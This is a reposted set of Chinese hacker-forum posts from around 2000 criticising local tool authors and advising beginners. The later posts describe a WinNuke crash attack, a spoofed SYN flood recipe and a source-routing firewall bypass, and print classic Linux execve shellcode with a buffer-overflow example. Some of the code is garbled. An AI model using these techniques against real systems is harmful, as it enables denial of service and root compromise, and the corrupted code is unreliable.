信息来源:gb2312.com
说明:这篇文章中含有许多***他人的言语,在此我向他们表示歉意,有些论调和观点我本人也是不赞同的。尤其是对我的朋友孤独剑客,希望他们能够明白。推荐给大家的目的是想端正我和大家的学习目的。希望我们大家能够一起提高,不仅是技术!
以下是某论坛上BBS的帖子
《这些无聊的人!!!》
从来不到WEB BBS,只不过听说绿色兵团好象是国内的安全名站,来看看了,竟然都是一些垃圾!从未见过真正的HACKER在WEB BBS里高谈阔论,你们有什么意思,冒冲BIGMAN骗骗那些从未见过真正世面的新手
罢了,现在看来,我对中国网站还是不了解,每个“HACKER“WEB SITE都是一样的教程,COOLFIRE的教程还放在自己的网页上,呵呵,也不嫌丢人。还有现在大量的HACK工具,有用的有几个,真正能让新手马上***一个站点的工具有吗?那些垃圾只不过是对PC的***效率比较高罢了,WHY?PC谁会把自己的机器搞的跟服务器一样?放个防火墙?比你的机器不知道贵多少倍了,什么IPHACKER,CHINABOY,流光。。。。。。。一群垃圾,有什么用?IPHACKER,不知道对方的IP,什么也不管用,只能看自己的IP,还不如WINIPCFG OR IPCONFIG来得快,CHINABOY说的好听成功率90%以上,我看10%以下才是真的,现在网上报的那些已被***的日本IP,殊不知,早已经开好了SERVER了,等着那些用傻瓜工具的人来HACK呢,真不知道你们是怎么想的???做一名在WEBBBS上的”HACKER“很过瘾?是不是能多收点EMAIL?无聊的很呀!
 以下是本人的意见(无关人员最好别看)
 对孤独剑客和小蓉的个人意见:
 为什么只对你们两个说,因为我看到到处都有你们的大名呀,下载了几个,分析了一下,呵呵,不好意思,真是太烂了,仿造一些已经有的工具,然后用什么给它汉化的?可以问一下吗?IPHACKER,让孤独剑客你自己说,有什么用?一个微软操作系统的漏洞,你竟然把它搞的这么夸张,真的那么有效吗?大不了修改注册表就好了,ONLYONE MESSAGE!在NT下,只要装SP4的就可以有效的防住了,你去找找现在哪个WEB SERVER还在用WINNT+SP4。X以下的???还有CHINABOY,简直是骗人的东西,垃圾而已,有你那样设计程式流程的吗?是不是计算机外行呀?
CHINABOY这个东西不瞒你说,是我见过的最赖的程式,有空进修一下编程吧,CHINBOY也就对一些P166的机器管用!你还在大肆宣扬这个东西,知不知道,用你的程式,对传输速度要求很高,国内能达到你要求的,大部分都是公司或一些机构的上网地方,你难道不知道如果对方可以通过你的程式对进攻者了解的一清二楚吗?你这岂不是害大家吗?有你这样搞的吗?赶快把你的程式改一下吧,别没让大家把你当成大侠,到成了汉奸了!(如果你是中国人,不要生气)
  小蓉的软件呵呵,不说大概你心里也明白,超级COPY,不过也难得,把它给搞上网了,对你的程式,你最好看看源码,如果你确认参数传递无误,呵呵,恭喜你,别人用你的东西,肯定会出现问题,而且不止这一个,难怪有人骂你,下次记得先出个A。。。OR B。。。。等等的实验版本,要不对抱歉,其实我只是对这些只能在web上"大显身手"的所谓的"hacker高手"感到十分厌烦,他们充其量只是从国外的HACK WEBSIT上看了那么一点点"新"技术&"新"漏洞,然后把这些东西又放在了自己做的WEBPAGE上,他们也许只是把那些在国外的东西,"洋为中用"的汉化一下罢了!
在我而言,我看了几次大家写的BBS上的贴子,对那些渴望成为HACKER的新入门的人来说,我是很敬佩的,因为他们至少还有梦想,而那些"HACKER 高手"却只能在别人那里COPY EVERYTHING,不过他们的网站也确实对那些新人来说是一种诱惑,夸张的告诉大家HACKER是多么的伟大多么的神秘,殊不知,那些整日在电脑面前
敲着键盘,旁边食品垃圾和资料堆放的人,有多少人整日在WEBBBS上回答各种各样的"奇怪"(只能说是奇怪了,因为有的根本就不能回答)的问题?还要争取进去TOP10.
对新手来说最重要的是把最基本的原始文档看明白,要把这些东西都变成自己的!教程就那么神奇?给你写一篇教程,你就马上能进攻靖国神社?不要在迷恋教程了,真正的教程决不会简单的只有数十页,它会从最最原始的文献给你讲起,对新手来说,如果你智商平常,可能要花4年的时间来学习教程,你有这个时间吗?即使你用4年时间学会了这些东西,但那时你会知道这4年来又出了什么新东西吗?还是赶不上!这难道是为什么少年HACKER增多的原因??呵呵(本BBS只能回复16KB的东西)只好换页了!
HACKER这个名词也许对大家来讲真的很有诱惑,但真正做到能以HACKER自居的能有几人?不说他要学的东西包罗万象,就是为他耗费的时间也足已让你望而却步,你能在不用特殊工具的情况下连续猜解一个PASSWORD长达16个小时吗?你能够熟练的运用你所知的编程语言,看到猎物原码中的BUG吗?你能对一个从不知的程序身上,通过编者所写的原码中,认出这是谁的大作吗?你能一星期内连续***某个站点,而且能保持旺盛的战斗力吗?你能在黑暗和混杂着烟草味的小屋里,为实现自己心中的理想而对其他不管不问吗?我想能做到上述所说的,可能没有几人,这并不是作HACKER的必须原则,但是我想每一个对这项"工作"(没有好的词语来形容)狂热的人来说,遇到上述情况,可谓是家常便饭!还有一点最重要,那就是你能做到***成功后,你能压抑住自己内心万马奔腾般的喜悦转手去做其它的事情,并且还会对自己提出更高的要求,这就是我为什么讨厌在WEBBBS上高谈阔论的所谓"HACKER高手"的原因之一,他们总是做出一定点成绩就会让世界上每一个能知道的人都知道了,就象孤独剑客&小蓉的程式一样,如果他们能把那些程式多保留几个月,做一下自
我测试,或是让别人代为测试的话,就不会出现那么多BUG了,很显然这是新手的做法.看看那些著名的HAKCER工具有那个发表以后,会吧它的后续版本作为BUGPATH来发布?呵呵,真让人感到为这些程式惋惜!新手完全可以从抛弃WEBPAGE上所讲的那些漏洞,教程,***手段......,既然大家都写出来了,WEBMASTER也能发现,那你知道的那些漏洞确实是没用了,教程写的再简单不过了,但其中的术语你还是没弄明白,有很多其他的地方可以进行交流的,在某些服务器上,你可以登陆上去,去看看大家正在处理的问题,试着和其他人交流一下,或许你会被哪个资深的HACKER看中,选为关门弟子呢.呵呵,这个想法太好玩了!经常去一些你知道的SITE,或许他们会让你缴纳会费,不要在乎那些小钱,实现你心中梦寐以求的理想比什么都值钱.但是最重要的是你要把自己的基本功打好,不能总靠着那些HACKER工具来进行***,或许你拿到了一个很强大的HACK工具,找到了ROOT OR ADMINISTORTRA的密码档,但是你如果对这个系统部了解,你能做什么???你什么也不能做!可悲!多学东西是你未来战斗的资本,而练习确是你成功的法宝,多动手,对一些自己不明了得东西多动手,你会为此得到相应的报酬!动手是每个新手成功的捷径,只有这样你才不至于进入服务器时,由于自己花了长时间在服务器上试验,而惨遭...在我看来(仅仅是个人意见,不值得考虑),很多新手都被大陆的一些HACK WEBPAGE给欺骗了,一个小小的操作系统的错误能够专门为之写出个程式,并且竟然有好多版本!一篇小小的教程几乎出现在了每一个WEBPAGE的HACK教程里面.其实那些东西对你只能是进攻参考的东西,没有实用价值的.曾经和一些大陆以外的华人交流,他们对大陆新兴起的这股HACK暴风给与了很高的赞赏,他们有时会为了自己成员的缺少而感到遗憾,但是他们对大陆那些教授HACK知识的方法却感到惊讶和鄙视,他们中有人说,世界上最强大的HACKER军团或许救在中国大陆,因为他们可以发动起成千成万的人,对一个站点进行最简单技术手段但却规模巨大的***,只到他们自己没兴趣或已经***成功!这充分体现了中国大陆还是没有把计划生育搞好!当时我听了以后很气忿,但是我没有什么话可讲,对方是MY的地下HACKER组织的杰出领袖,而我在CN都不出名,没有资格的.但是我强烈的感到自己尊严的丧失!没办法,一个人的力量是有限的!在大陆以外的地区有很多很好的SITE提供很好的HACKER服务,你可以在那里得到自己想知道的东西,但是不要问他们象"WINNUKE2.0怎么用"类似的问题,问了也没人答理你,你的E问好的话可以去一些E文的HACKER GROUP的聚集地,在那里你只要不发表言论,不会有人赶你走的,除非他们要进行什么活动.在台湾地区,我所知的几个人他们对程式的研究很着迷,他们可以把新发布的WIN2000原码中的漏洞花上几个星期的时间找出来,并且从中提取劳动报酬,你能把一个WIN95反编译回去,并且找出为什么NUKE程序能够这么轻松的***吗?说实在的,做一个HACKER真的很难,你要学的
知识要比你想要***的地方的WEBMASTER多的多,你要成功的发现他没有发现的东西,从而达到自己的目标!!!不写了,太累!这只是我近几天来看大陆一些HACK 名站的得到的一些...
很希望每个新手能够在不断的努力当中成就一番光辉!
回答独狼的问题: 这么说你是高手了,那你为什么不帮帮我们这些低手呢?技术保密?为了维持你那神秘的面纱?
首先我不否认我是高手,那是相对而言的,如果我的数学水平已经让我可以计算方程式的话,我对于一个还不认识阿拉伯数字的孩童来说,我就是上帝!
其次我可以帮你,但是只能帮你们走入那对你们来说神秘的空间,一切只能靠自己的努力来完成.
HACKER向来就是FREE的通译,真正的HACKER不会把自己所知道的深埋地底!
从来就没有什么神秘面纱,你也很神秘呀,我不知道你的姓名,婚否,年龄,工资收入情况,还有家庭地址,住宅电话......对我和其他人来言,你很神秘!!!
对进来利用大家对日气忿不平心理进行个人宣扬和xxxx的人鄙视!!!
会在本BBS呆三天,今天是第2天
          
             MASTERLE
             2000.2.8
对感兴趣和有想向这方面发展的同志的忠告:
  真正的大家所谓的HACKER不会在某个WEB BBS上跟人家写好多好多东西,也不会在BBS上争第一名,如果你想作一个真的电脑强者,那么现在去找点东西看吧,UNXI WIN 这些东西最好能搞明白!另外最好把所有从机器里出来的东西都看懂!这样你最少能知道你***的时候出现什么异常情况!
 如果你只想在聊天室或IRC里把别人踢下去,并且还想让你的对手佩服你!
那你就去下载大量的HACKER工具,自己慢慢玩吧,很傻瓜的!
        一个看不过去的中国人!
我想说》
当我们谈到网络安全的时候,就经常可以跟一个词联系到一起,那就是***。其实,印象中的***是带有偏颇的感情色彩的,比较明确的说法是叫***者。***跟***者有什么区别呢?***,指对于任何计算机操作系统的奥秘都有强烈兴趣的人.”***”大都是程序员,他们具有操作系统和编程语言方面的高级知
识,知道系统中的漏洞及其原因所在:他们不断追求更深的知识,并公开他们的发现,与其他人分享;并且没有破坏数据的企图.
***者,是指怀着不良企图,闯入甚至破坏远程机器系统完整性的人.”***者”利用获得的非法访问权,破坏重要数据,拒绝合法服务器的请求,或为了自己的目的制造麻烦.”***者”很容易识别,因为他们的行为是恶意的.
虽然这才是***和***者的确切含义,但是在我们的日常生活中,人们在讨论到”***”这个字眼的时候,还是带有强烈的贬义色彩,或者说我们大家都把***跟***者联系到了一起,其实***中既包括善意的真正的***,也包括恶意的***者,对于这些区别,大家只要心里有数就OK拉 
大家如果还不是太明白***和***者之间到底有什么本质性的区别,可以在黄金书屋下载一本<<***电脑时代的牛仔>>看看,虽然技术性不是很强,但是却大致描述了***产生和发展的过程,书中的一些观点和理论虽不能让人信服但是却能让人产生遐想,或许你看了之后会明白.
至于成立***组织,呵呵,我想如果你能大张旗鼓的明打出旗号,只要自己控制的好,国家肯定不会对你怎么样,要知道初期的***是推动计算机向前发展的一个动力.
在我的思想中,所有东西一出来肯定有缺陷,***会把这个新生的事物仔细研究,然后会通过与之接触找到它不完美的地方,***就像是个理想的完美主义者,他会很讨厌有缺陷的东西,并且能够凭着天性找到某些东西的不完美之处,并且把这个不完美之处填补,或许你不明白为什么那么多人相当***,是他们心中美好的愿望和理想驱使他们可以废寝忘食可以不知疲倦可以忘乎所以可以不顾一切的追求心中的完美境界,在本BBS的各位同仁,谁有这种想法?如果你有,那么你就要为之奋斗,要做到刚出监狱就会投身到自己喜爱的工作中去(j)!!!
至于有位同仁所言,前些天刚枪毙两个***,我想他大概是糊涂了并不是只要能侵入系统的人都是***,如果那样,***们早天下成群了,我希望***天下成群的那一天,但不希望是现在.
关于这个bbs我没有说办得不好,也不会说办得不好,我只是对大家在这里埋头苦等感到惋惜,每天等着一些所谓的***高手宣布他们的研究新成果(或许是刚翻译过来的文章),然后自己迫不及待的试一把,也许那些高手们已经把这个东西试验了几百遍了,你难道只能在这里学到东西吗?学校里的所有课程你都学会了吗?你在上大学时也许学过C BASIC .....但是我现在对你说,我想要一个能让系统瘫痪的小程序,而且不要超过500K的话,你能做到吗?你能熟练的做到吗?***其实是一种荣誉的象征,他在现实生活中也许是个弱者,甚至是个残疾,也许是个女人,小孩,但是只要他的双手接触到键盘,他坐在电脑面前,那时整个世界就属于他了,他是电脑领域的强者.向往吗?
网络上的学习固然是好,不错,我也喜欢上网,但是你要知道,你可以从网上知道的东西,究竟有多少价值,一本<>竟然有10M,还不如花钱买一本呢,再说网络上有多少能够把你带到更深层领域的教程?有多少能够手把手把你从无知培养成出类拔萃的教程?不是说网络学习不好,只不过大家都有误区罢了,以为在网上看到一些漏洞,赶紧试验一下,成功了确实很爽,但是你能知道你为什么成功吗?你的基础是否有足够的资本看懂网络上别人贴出来贴子中提到的术语?
也许我的观点不会得到大家的认可,但是我还是想说出来,基础不是能从网上学来的是靠自己努力的来的,网上交流的是经验,不是教程,但是这个BBS确实没有太多的值得我们借鉴的经验,我的到来确实给这个清静的地方带来了波动,我想这里还算可以,贴子帖的那么多,人气也旺,很好,大家可以互相交往,不必隐姓埋名,我只是这几天过年,为了凑个热闹,想来放松一下,本来没有节假日的(谁听说过***有节假日?),我只是想来这里转转,看看那些贴子,找找当年的冲动和激情,一边能够更好的投入"工作",继而看到某些"不法分子"竟然利用大家心中美好愿望做一些不太好的事情,这其实是一种对......
我激动的留了几条发言,呵呵,谁知收不住手了,我应该只待一天的,没想到惹得大家这么生气,但是我一向说话算话,3天我也快熬过去了,很抱歉,我带给大家的不愉快,本想找几个高手切磋一些,或是带几个新手,呵呵,但是我发现这里还是不安全,不是一个"公共场所".劝大家学习大部分应该靠自己的努力太累了,这三天打的汉字比我半年打的都多!另外鹰鹰既然知道我是河南的,来找哦,能找到才算是好本事,信箱你一定也能看到了,找我信箱里的东西,然后会发现一些好东西的!!!
            最近比较烦,甭理我!
              2000.02.09
孤独剑客请看:
一个***windows的方法是用OOB方式通过TCP/IP Port 139向对端的Windows/NT传送0字节的数据包,很容易就能把windows/NT当机.如Windock程序,WinNuck程序(该程序只有9行),准确率几乎是100%
解决的方法是:
运行regedit:
find [HKEY_LOCAL_MACHINE\Systerm\CurrentControlSet\Services\VxD\MSTCP];
加上一行"BSDUrgent"="0"
WIN98也一样可以用"炸弹"***,Winnuke的升级版本Pnuke,就可以轻松的***win98,解决方法同理.
这就是孤独剑客的iphacker的***原理和防范方法,只是一般用户接触这些比较少罢了,其实很简单,只要你学包会!
下面是给小蓉看的一段代码:
xiaoronglook.c
----------------------------------------------------------------------
void main(){
_asm_("
    jmp  0x1f
    popl %esi
    movl %esi,0x8(%esi)
    xorl %eax,%eax
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    int  $0x80
    xorl %ebx,%ebx
    movl %ebx,%eax
    inc  %eax
    int  $0x80
    call -0x24
    .string\"/bin?sh\"
    ");
    }
   
小蓉可以看看,如果看懂了,相信会让你的程序更加优秀至于这段程序是干什么用的,相信如果你能看懂,就会知道它的用处了,如果没有结论,那我就没办法,多研究一下你的程序和别人的差距吧!
至于大家都比较关心的伪装ip的方法,我到是有个方法,大家看看了IP Spoofing是一个***器(不要告诉我你没听说过)它是通过向主机发送IP包来***的,***过程是这样的:
(1)***端-->SYN(伪造的自己的地址)-->被***端
(2)伪造的地址<--SYN-ACK<--被***端
(3)被***端等待回答.
一个简单的SYN attack***方法就是利用NetXRay软件首先产生一个正常的SYN attack,再把那个SYN attack修改一下,找出关于souce IP的那个offset,修改成任意的IP,然后找出关于校验和的地址,把校验和改好,然后把包拷贝起来,用NetXRay的发送包工具,一秒钟给他送几千个SYN attack到对方,可以让对方机器瘫痪没有再接送别人连接请求的能力.我想这种方法虽然比较麻烦但是绝对比"中国男孩"***有效的多,如果CHINABOY的***成功率能达到90%以上的话,我想这种方法能达到120%(呵呵,是夸张了一点)
在一个IP包的IP选项域中,有两类的"原搜索"(source routing)功能项可以选择:
(1)LSRR (loose soutce & record routing)自由源和记录路径
(2)***R (strict soutce & record routing)精确源和记录路径
设计这个功能是为了方便网络故障调测的需要.当一台主机收到包含ISRR或者***R包后,他会把这个包中含有的目的地址读出来,并直接把这个包送往目的地址.这样就可能产生危险.
比如你用防火墙系统来保护你自己的企业内部不受干扰.正常的时候,所有的数据包的进出都在防火墙的控制之下,如
果你的防火墙要是允许调测包,那么外部网的***者就可以简单的发送调测包从外部网络送到内部网,从而逃避了防
火墙的监控.这里本来想介绍一下伪装自己的IP呢,但是想一想还是别懒写写东西吧
写了这么点东西,或许有些同仁看不懂,看不懂不要紧,只要抓紧时间学习基础知识,再加上自己的努力,相信你很快就会成为高手的,呵呵!!
实在懒的写了,问题不会解答!
今天是第三天了!
         MASTERLE
        2000.02.09
我在“我想对孤独剑客和小榕说.......(想伪装ip的也可以来了)”这篇帖子当中引用了一端代码,有人让我看“hhtp;//www.isbase.com/book/showQueryL.asp?libID=32”所写的东西,我实在搞不懂是我理解能力差还是他理解错了,没办法,我只好写出那段代码产生的过程!
首先介绍给大家也许都知道的***手段:
缓冲区溢出(buffer overflow)是一种系统***的手段,通过往程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它的命令,以达到***的目的。之所以缓冲区溢出可以实现的原因是系统程序没有检测用户输入的参数,也就是没有检测变量的长度是否符合要求。
eg1:
--------------------------------------------
void function(char*str){
   char buffer[16]
   strcpy(buffer,str);
  }
--------------------------------------------
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序出错。存在像strcpy()这样的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf(),以及在循环内的getc()、fgetc()、getchat()等。
当然,随便向缓冲区里填写东西造成它溢出一般只会出现“Segmentation fault"段错误,而不能达到***的目的。最常见的手段是通过某个特殊的程序的缓冲区溢出而执行一个shell,通过shell的权限可以执行高级的命令。如果这个特殊的程序属于root且具有suid权限的话,***成功就可能获得一个具有root权限的shell,就可以对系统为所欲为了(如果你基础不好,即使作到了这一步,你想,你会干什么?你能干什么?)。
一个程序在内存中通常分为程序段,数据段和堆栈3部分。程序段里面放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是从内存低端到内存高端分别是:
程序段、数据段、堆栈
当程序中发生函数调用时,计算机做以下操作:首先把参数压入堆栈:然后保存命令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的堆栈指针(SP)拷贝到FP,作为新的基地址;最后为本地变量留出一定空间,把SP减去适当数值。
eg2:
-------------------------------------------
void function(char*str){
   char buffer[16];
   ctrcpy(buffer,str);
   }
   void main(){
   char large_string[256];
   int i;
   for(i=0;i<255;i++)
   large_string[1]=‘A‘;
   function(large_string);
   }
---------------------------------------------
当调用函数function()的时候,堆栈的情况如下所示:
内存低端 buffer sfp ret *str 内存高端
<-------[   ][  ][ ][   ]------------->
栈顶               栈底
上面的程序执行的结果是“Segmentation fault (core dumped)”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容‘A‘覆盖,包括stp、ret,甚至是*str。‘A‘的十六进制值为0x41,所以函数的返回地址变成了0x4141414141,这超出了程序的地址空间,所以出现段错误。
然而这样仍然达不到我们想要得结果,我们必须在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区开头,就可以达到运行其他命令的目的
eg3这就是我帖在“ 我想对孤独剑客和小榕说.......(想伪装ip的也可以来了) - masterle 00-2-9 11:22:17 ”的那段代码)
----------------------------------------------------------------------
void main(){
_asm_("
    jmp  0x1f
    popl %esi
    movl %esi,0x8(%esi)
    xorl %eax,%eax
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    int  $0x80
    xorl %ebx,%ebx
    movl %ebx,%eax
    inc  %eax
    int  $0x80
    call -0x24
    .string\"/bin?sh\"
    ");
    }
----------------------------------------------------------------------
将上面的程序用机器码表示即可以得到以下十六进制shell代码字符串。
如下:
----------------------------------------------------------------------
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xdc"
"\x80\xe0\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main(){
char buffer[96];
int i;
long *long_ptr=(long *)large_string;
for(i=0;i<32;i++)
*(long_ptr+i)=(int)buffer;
for(i=0;i   large_string=shellcode;
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分,然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容是shell代码,这样当程序试从strcpy()中返回的时候,就会转而执行shell。
其实最头疼的是如何知道缓冲区的地址,并在那里放shell代码到large_string的前面部分呢?由于每个程序的堆栈启始地址是固定的,所以自然可以利用反复重试缓冲区相对于堆栈起始位置的距离来得到。但是这样的盲目猜测可能要进行上千次,实际上是不现实的。(手疼!!!!)解决的办法是利用空指令
NOP。在shell代码前防一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP后程序将激活shell进程,这样就大大的增加了猜中的可能性。(还得猜)
之所以选择这段代码给小容看,是因为这种缓冲区溢出的技术是很奏效的,也是很多***和***者采用的惯用手段,因为它不是正常登陆的超级用户权限,所以几乎没有任何记录。
目前对上述***手段的防范方法来看,很多webmaster都说没有根本解决的好办法,最好的办法就是完善程序,使函数无懈可击(可能吗,别忘了我们是干什么的)。另外要注意打各种path,从根本上杜绝函数的漏洞,作为应急的办法,可以把有危险的程序的Suid位去掉,需要时再加上,只是比较麻烦而已。
不知上述,大眼圈同学看懂了没有,和你说的那篇觉得有什么共同之处吗?